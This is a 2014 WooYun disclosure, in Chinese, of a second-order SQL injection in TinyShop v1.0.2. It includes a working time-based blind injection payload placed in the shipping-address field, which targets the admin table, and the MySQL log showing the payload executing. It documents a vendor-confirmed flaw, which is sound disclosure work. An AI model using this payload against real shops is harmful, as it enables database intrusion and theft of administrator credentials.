漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-066397
漏洞标题:TinyShop二次注入一枚。
相关厂商:tinyrise.com
漏洞作者: roker
提交时间:2014-07-09 16:51
修复时间:2014-10-07 16:52
公开时间:2014-10-07 16:52
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-07-09: 细节已通知厂商并且等待厂商处理中
2014-07-11: 厂商已经确认,细节仅向厂商公开
2014-07-14: 细节向第三方安全合作伙伴开放
2014-09-04: 细节向核心白帽子及相关领域专家公开
2014-09-14: 细节向普通白帽子公开
2014-09-24: 细节向实习白帽子公开
2014-10-07: 细节向公众公开
简要描述:
rt
TinyShop v1.0.2
详细说明:
还是 protected\controllers\simple.php文件
看到
会把单引号转义为 斜杠+'. 但是进入数据库时 斜杠 是不会进去的。从而造成二次注入。
延时注入测试下。
首先 添加个收货地址,抓包修改 addr=','111111',49,12.00,12.00,'2014-06-27 09:33:13','',0,'0',0,0,52,40,0,1,0,if(ascii(substr((select name from tiny_manager),1,1))-96,sleep(2),null))#
用生成的地址 提交订单。
看mysql执行日志,可以看到
insert into tiny_order (`prom`,`prom_id`,`order_no`,`user_id`,`payment`,`status`,`pay_status`,`accept_name`,`phone`,`mobile`,`province`,`city`,`county`,`addr`,`zip`,`payable_amount`,`payable_freight`,`real_freight`,`create_time`,`user_remark`,`is_invoice`,`invoice_title`,`taxes`,`discount_amount`,`order_amount`,`real_amount`,`point`,`type`,`voucher_id`,`voucher`) values ('a:11:{s:2:"id";s:1:"2";s:8:"goods_id";s:2:"24";s:5:"title";s:49:"2014春装男款格子长袖男衬衫大型团购";s:7:"max_num";s:2:"50";s:7:"min_num";s:1:"1";s:5:"price";s:5:"30.00";s:10:"start_time";s:19:"2014-05-04 10:18:00";s:8:"end_time";s:19:"2014-05-30 10:18:00";s:9:"goods_num";s:1:"0";s:9:"order_num";s:1:"0";s:6:"is_end";s:1:"0";}',2,'20140627115409355844',2,1,2,0,'aaa','1111111111','1111111111',130000,130300,130302,'','111111',49,12.00,12.00,'2014-06-27 09:33:13','',0,'0',0,0,52,40,0,1,0,if(ascii(substr((select name from tiny_manager),1,1))-96,sleep(2),null))#','111111',49,10.00,10.00,'2014-06-27 11:54:09','',0,'0',0,0,40,30,0,1,0,'a:0:{}')
#将后面的注释掉,所以实际执行的为
延时成功。
可以写个脚本跑下密码。这里就不提供了~
漏洞证明:
修复方案:
修复~祝厂商安全性越来越好~~
版权声明:转载请注明来源 roker@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:8
确认时间:2014-07-11 08:19
厂商回复:
非常感谢您为TinyShop信息安全做的贡献
我们将尽快修复,非常感谢您的支持。
最新状态:
暂无